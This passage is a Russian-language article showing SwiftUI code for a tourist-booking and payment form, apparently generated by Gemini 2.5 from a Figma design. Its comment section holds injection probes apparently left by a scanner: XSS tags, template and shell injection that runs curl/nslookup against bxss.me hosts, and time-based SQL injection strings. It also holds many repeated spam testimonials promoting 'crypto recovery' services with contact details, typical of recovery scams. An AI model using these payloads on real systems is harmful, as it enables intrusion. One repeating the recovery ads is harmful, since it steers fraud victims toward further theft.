    let tourPrice: Int
    let fuelSurcharge: Int
    let serviceCharge: Int

    var totalPrice: Int {
        tourPrice + fuelSurcharge + serviceCharge
    }
}

// MARK: - Main View

struct TouristInfoView: View {
    // --- State Variables ---
    @State private var tourists: [Tourist] = [Tourist()] // Start with one tourist
    @State private var pricing = PricingInfo(
        tourPrice: 186600,
        fuelSurcharge: 9300,
        serviceCharge: 2136
    )

    var body: some View {
    
        VStack {
            ScrollView {
                VStack(spacing: 8) { // Spacing between blocks

                    // --- Tourist Information Block ---
                    TouristListBlock(tourists: $tourists)

                    // --- Add Tourist Button ---
                    AddTouristButton {
                        addNewTourist()
                    }

                    // --- Price Summary Block ---
                    PriceSummaryBlock(pricing: pricing)
                    PaymentButton(totalAmount: pricing.totalPrice) {
                        // Action for payment
                        print("Proceeding to pay \(formattedPrice(pricing.totalPrice))")
                    }

                }
                .padding(.horizontal) // Padding for the whole content stack
                .padding(.top)
            }
            .background(Color(UIColor.systemGray6).ignoresSafeArea()) // Background for the whole screen
        }
    }

    // --- Helper Functions ---

    private func addNewTourist() {
        withAnimation { // Animate the addition
             tourists.append(Tourist())
        }
    }

     private func formattedPrice(_ price: Int) -> String {
        let formatter = NumberFormatter()
        formatter.numberStyle = .decimal
        formatter.groupingSeparator = " " // Use space as separator
        return (formatter.string(from: NSNumber(value: price)) ?? "\(price)") + " ₽"
    }
}

// MARK: - Child Views / Blocks

struct TouristListBlock: View {
    @Binding var tourists: [Tourist]

    var body: some View {
        VStack(spacing: 8) { // Consistent spacing
             ForEach($tourists) { $tourist in // Use $ for bindings
                // Find the index for displaying the correct number
                 if let index = tourists.firstIndex(where: { $0.id == tourist.id }) {
                    TouristEntryView(
                        tourist: $tourist,
                        touristNumber: index + 1 // Pass the 1-based index
                    )
                 }
            }
        }
        // No background/cornerRadius here, apply it to TouristEntryView itself
    }
}

struct TouristEntryView: View {
    @Binding var tourist: Tourist
    let touristNumber: Int

    // Helper to get ordinal string ("Первый", "Второй", etc.)
    private func ordinal(number: Int) -> String {
        // Basic implementation, expand for more numbers if needed
        switch number {
        case 1: return "Первый"
        case 2: return "Второй"
        case 3: return "Третий"
        case 4: return "Четвертый"
        case 5: return "Пятый"
        default: return "\(number)-й"
        }
    }

    var body: some View {
        VStack(alignment: .leading, spacing: 0) { // No spacing for header/content separation
            // --- Header ---
            HStack {
                Text("\(ordinal(number: touristNumber)) турист")
                    .font(.system(size: 22, weight: .medium))
                Spacer()
                Button {
                    withAnimation(.easeInOut(duration: 0.2)) { // Animate expand/collapse
                        tourist.isExpanded.toggle()
                    }
                } label: {
                    Image(systemName: tourist.isExpanded ? "chevron.up" : "chevron.down")
                        .foregroundColor(.blue)
                        .padding(8) // Increase tappable area
                        .background(Color.blue.opacity(0.1))
                        .clipShape(RoundedRectangle(cornerRadius: 6))
                }
            }
            .padding() // Padding for the header itself

            // --- Form Fields (Conditional) ---
            if tourist.isExpanded {
                VStack { // Spacing between fields
                    StylizedTextField(placeholder: "Имя", 
                             text: $tourist.firstName)
                    StylizedTextField(placeholder: "Фамилия", 
                             text: $tourist.lastName)
                    StylizedTextField( placeholder: "Дата рождения", 
                             text: $tourist.dateOfBirth)
                    StylizedTextField( placeholder: "Гражданство", 
                             text: $tourist.citizenship)
                    StylizedTextField(placeholder: "Номер загранпаспорта", 
                             text: $tourist.passportNumber)
                    StylizedTextField(
                        placeholder: "Срок действия загранпаспорта", 
                        text: $tourist.passportExpiry)
                }
                .padding(.horizontal) // Padding for the form fields container
                .padding(.bottom)    // Add padding at the bottom of the form
                // Smooth transition for appearing fields
                .transition(.opacity.combined(with: .move(edge: .top)))
            }
        }
        .background(Color.white)
        .cornerRadius(12)
    }
}

// Reusable TextField with placeholder label
struct StylizedTextField: View {
    let placeholder: String
    @Binding var text: String

    var body: some View {
            TextField(placeholder, text: $text)
                .padding()
                .background(Color.gray.opacity(0.1))
                .cornerRadius(10)
                .overlay (alignment: .top) {
                if !text.isEmpty {
                    Text(placeholder)
                        .font(.system(size: 12))
                        .foregroundColor(.gray)
                        .padding(.leading, 12) // Indent title slightly
                        .padding(.bottom, -2) // Pull textfield up a bit
                        .zIndex(1) // Ensure title is above TextField background
                }
            }
    }
}

struct AddTouristButton: View {
    let action: () -> Void

    var body: some View {
        HStack {
            Text("Добавить туриста")
                .font(.system(size: 22, weight: .medium))
            Spacer()
            Button(action: action) {
                Image(systemName: "plus")
                    .foregroundColor(.white)
                    .padding()
                    .background(Color.blue)
                    .clipShape(RoundedRectangle(cornerRadius: 6))
            }
        }
        .padding()
        .background(Color.white)
        .cornerRadius(12)
    }
}

struct PriceSummaryBlock: View {
    let pricing: PricingInfo

    private func formattedPrice(_ price: Int) -> String {
        // Duplicated formatting logic for self-containment, could be centralized
        let formatter = NumberFormatter()
        formatter.numberStyle = .decimal
        formatter.groupingSeparator = " "
        return (formatter.string(from: NSNumber(value: price)) ?? "\(price)") + " ₽"
    }

    var body: some View {
        VStack(alignment: .leading, spacing: 16) {
            PriceRow(label: "Тур", amount: pricing.tourPrice)
            PriceRow(label: "Топливный сбор", amount: pricing.fuelSurcharge)
            PriceRow(label: "Сервисный сбор", amount: pricing.serviceCharge)
            PriceRow(label: "К оплате", amount: pricing.totalPrice,
                                                             isTotal: true)
        }
        .padding()
        .background(Color.white)
        .cornerRadius(12)
    }
}

// Helper for rows in the price summary
struct PriceRow: View {
    let label: String
    let amount: Int
    var isTotal: Bool = false

    private func formattedPrice(_ price: Int) -> String {
         let formatter = NumberFormatter()
         formatter.numberStyle = .decimal
         formatter.groupingSeparator = " "
         return (formatter.string(from: NSNumber(value: price)) ?? "\(price)") + " ₽"
     }

    var body: some View {
        HStack {
            Text(label)
                .font(.system(size: 16))
                .foregroundColor(.secondary)

            Spacer()

            Text(formattedPrice(amount))
            .font(.system(size: 16, weight: isTotal ? .semibold : .regular))
            .foregroundColor(isTotal ? .blue : .primary) // Highlight total price
        }
    }
}


struct PaymentButton: View {
    let totalAmount: Int
    let action: () -> Void

    private func formattedPrice(_ price: Int) -> String {
         let formatter = NumberFormatter()
         formatter.numberStyle = .decimal
         formatter.groupingSeparator = " "
         return (formatter.string(from: NSNumber(value: price)) ?? "\(price)") + " ₽"
     }

    var body: some View {
        Button(action: action) {
            Text("Оплатить \(formattedPrice(totalAmount))")
                .font(.system(size: 16, weight: .medium))
                .foregroundColor(.white)
                .frame(maxWidth: .infinity)
                .padding()
                .background(Color.blue)
                .cornerRadius(15)
        }
        .padding(.horizontal)
        .padding(.vertical, 8) // Add some vertical padding
        .background( // Add a white background behind the button area
            Color.white
              .ignoresSafeArea(edges: .bottom) // Extend white to screen bottom edge
              .shadow(radius: 1) // Optional subtle shadow above button
        )
    }
}


// MARK: - Preview

#Preview {
        TouristInfoView()
  }

Объяснение:

  1. Модели данных (Tourist, PricingInfo): определяют структуры для хранения необходимых данных.

  2. TouristInfoView (главное View):

    • Содержит @State переменные var: массив туристов tourists: [Tourist] и информацию о ценах pricing: PricingInfo.

    • Использует ScrollView для размещения контента.

    • Организует размещение основных блоков (TouristListBlock, AddTouristButton, PriceSummaryBlock, PaymentButton) в VStack.

    • Функция addNewTourist() добавляет нового туриста Tourist по умолчанию в массив.

  3. TouristListBlock:

    • Принимает @Bindingмассив туристов tourists и использует ForEach для итерации по привязке $tourists

    • Создает TouristEntryView для каждого туриста с номером (index + 1).

  4. TouristEntryView:

    • Представляет сворачиваемую карточку для одного туриста.

    • Принимает @Bindingдля одного туриста Tourist.

    • Имеет HStack с номером туриста прописью (используя ordinal(number: Int) ) и кнопку развернуть/свернуть.

    • Появление/исчезновение анимируется с помощью .transition.

  5. StylizedTextField: Многоразовое вспомогательное View для создания определенного стиля текстового поля.

  6. AddTouristButton: Простое View для строки "Добавить туриста" с кнопкой "+".

  7. PriceSummaryBlock и PriceRow: View для отображения разбивки цен, аналогично предыдущим примерам, с правильным форматированием чисел. В итоговой строке используется немного более жирный текст и синий цвет.

  8. PaymentButton: последняя синяя кнопка внизу, отображающая общую цену и запускающая действие action. Она находится во вставке безопасной области (safe area inset).

Эта версия напрямую реализует запрошенную функциональность, включая возможность добавлять туристов, разворачивать/сворачивать их разделы и вводить их данные с правильной привязкой данных для редактирования.

Вот как выглядит TouruistInfoView для ввода туристов:

a6431ce0c914406871da79bf09cc7f92.png

Вот как функционирует TouruistInfoView для ввода туристов:

2aad578d6b3c4d0c7bd4011cea85a887.gif

Объединяем всё вместе :

b55ebf31156ccd714d40a0dc1484bce3.gif

Заключение

Gemini 2.5 Experimental воспроизводит в SwiftUI с поразительной точностью стили текста и функциональные возможности макетов, подготовленных дизайнерами в Figma. Особенно это касается разработки русскоязычных UI.

Выдаёт полноценный изобретательный SwiftUI код, демонстрируя высокий потенциал Gemini 2.5 в преобразовании Figma-макетов в рабочий iOS-код.

Код находится на Github.

Источник

  • 09.10.25 08:09 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:09 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:09 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:09 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:13 pHqghUme

    can I ask you a question please?'"()&%<zzz><ScRiPt >6BEP(9887)</ScRiPt>

  • 09.10.25 08:13 pHqghUme

    {{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hityjalvnplljd6041.bxss.me")}}

  • 09.10.25 08:13 pHqghUme

    '"()&%<zzz><ScRiPt >6BEP(9632)</ScRiPt>

  • 09.10.25 08:13 pHqghUme

    can I ask you a question please?9425407

  • 09.10.25 08:13 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:14 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:16 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    "+response.write(9043995*9352716)+"

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:18 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:18 pHqghUme

    $(nslookup -q=cname hitconyljxgbe60e2b.bxss.me||curl hitconyljxgbe60e2b.bxss.me)

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:18 pHqghUme

    |(nslookup -q=cname hitrwbjjcbfsjdad83.bxss.me||curl hitrwbjjcbfsjdad83.bxss.me)

  • 09.10.25 08:18 pHqghUme

    |(nslookup${IFS}-q${IFS}cname${IFS}hitmawkdrqdgobcdfd.bxss.me||curl${IFS}hitmawkdrqdgobcdfd.bxss.me)

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:19 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:20 pHqghUme

    e

  • 09.10.25 08:20 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:22 pHqghUme

    if(now()=sysdate(),sleep(15),0)

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

  • 09.10.25 08:23 pHqghUme

    can I ask you a question please?0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

  • 09.10.25 08:23 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:23 pHqghUme

    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

  • 09.10.25 08:24 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:24 pHqghUme

    e

  • 09.10.25 08:24 pHqghUme

    can I ask you a question please?-1 waitfor delay '0:0:15' --

  • 09.10.25 08:25 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    can I ask you a question please?9IDOn7ik'; waitfor delay '0:0:15' --

  • 09.10.25 08:26 pHqghUme

    can I ask you a question please?MQOVJH7P' OR 921=(SELECT 921 FROM PG_SLEEP(15))--

  • 09.10.25 08:26 pHqghUme

    e

  • 09.10.25 08:27 pHqghUme

    can I ask you a question please?64e1xqge') OR 107=(SELECT 107 FROM PG_SLEEP(15))--

  • 09.10.25 08:27 pHqghUme

    can I ask you a question please?ODDe7Ze5')) OR 82=(SELECT 82 FROM PG_SLEEP(15))--

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?'"

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:28 pHqghUme

    @@olQP6

  • 09.10.25 08:28 pHqghUme

    (select 198766*667891 from DUAL)

  • 09.10.25 08:28 pHqghUme

    (select 198766*667891)

  • 09.10.25 08:30 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:33 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:34 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:34 pHqghUme

    if(now()=sysdate(),sleep(15),0)

  • 09.10.25 08:35 pHqghUme

    e

  • 09.10.25 08:36 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:36 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    e

  • 09.10.25 08:37 pHqghUme

    e

  • 09.10.25 08:40 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:40 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:41 pHqghUme

    e

  • 09.10.25 08:41 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:42 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:42 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:42 pHqghUme

    e

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 11.10.25 04:41 luciajessy3

    Don’t be deceived by different testimonies online that is most likely wrong. I have made use of several recovery options that got me disappointed at the end of the day but I must confess that the tech genius I eventually found is the best out here. It’s better you devise your time to find the valid professional that can help you recover your stolen or lost crypto such as bitcoins rather than falling victim of other amateur hackers that cannot get the job done. ADAMWILSON . TRADING @ CONSULTANT COM / WHATSAPP ; +1 (603) 702 ( 4335 ) is the most reliable and authentic blockchain tech expert you can work with to recover what you lost to scammers. They helped me get back on my feet and I’m very grateful for that. Contact their email today to recover your lost coins ASAP…

  • 11.10.25 10:44 Tonerdomark

    A thief took my Dogecoin and wrecked my life. Then Mr. Sylvester stepped in and changed everything. He got back €211,000 for me, every single cent of my gains. His calm confidence and strong tech skills rebuilt my trust. Thanks to him, I recovered my cash with no issues. After months of stress, I felt huge relief. I had full faith in him. If a scam stole your money, reach out to him today at { yt7cracker@gmail . com } His help sparked my full turnaround.

  • 12.10.25 01:12 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 12.10.25 01:12 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 12.10.25 19:53 Tonerdomark

    A crook swiped my Dogecoin. It ruined my whole world. Then Mr. Sylvester showed up. He fixed it all. He pulled back €211,000 for me. Not one cent missing from my profits. His steady cool and sharp tech know-how won back my trust. I got my money smooth and sound. After endless worry, relief hit me hard. I trusted him completely. Lost cash to a scam? Hit him up now at { yt7cracker@gmail . com }. His aid turned my life around. WhatsApp at +1 512 577 7957.

  • 12.10.25 21:36 blessing

    Writing this review is a joy. Marie has provided excellent service ever since I started working with her in early 2018. I was worried I wouldn't be able to get my coins back after they were stolen by hackers. I had no idea where to begin, therefore it was a nightmare for me. However, things became easier for me after my friend sent me to [email protected] and +1 7127594675 on WhatsApp. I'm happy that she was able to retrieve my bitcoin so that I could resume trading.

  • 13.10.25 01:11 elizabethrush89

    God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 13.10.25 01:11 elizabethrush89

    God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 14.10.25 01:15 tyleradams

    Hi. Please be wise, do not make the same mistake I had made in the past, I was a victim of bitcoin scam, I saw a glamorous review showering praises and marketing an investment firm, I reached out to them on what their contracts are, and I invested $28,000, which I was promised to get my first 15% profit in weeks, when it’s time to get my profits, I got to know the company was bogus, they kept asking me to invest more and I ran out of patience then requested to have my money back, they refused to answer nor refund my funds, not until a friend of mine introduced me to the NVIDIA TECH HACKERS, so I reached out and after tabling my complaints, they were swift to action and within 36 hours I got back my funds with the due profit. I couldn’t contain the joy in me. I urge you guys to reach out to NVIDIA TECH HACKERS on their email: [email protected]

  • 14.10.25 08:46 robertalfred175

    CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 14.10.25 08:46 robertalfred175

    CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 14.10.25 08:46 robertalfred175

    CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 15.10.25 18:07 crypto

    Cryptocurrency's digital realm presents many opportunities, but it also conceals complex frauds. It is quite painful to lose your cryptocurrency to scam. You can feel harassed and lost as a result. If you have been the victim of a cryptocurrency scam, this guide explains what to do ASAP. Following these procedures will help you avoid further issues or get your money back. Communication with Marie ([email protected] and WhatsApp: +1 7127594675) can make all the difference.

  • 15.10.25 21:52 harristhomas7376

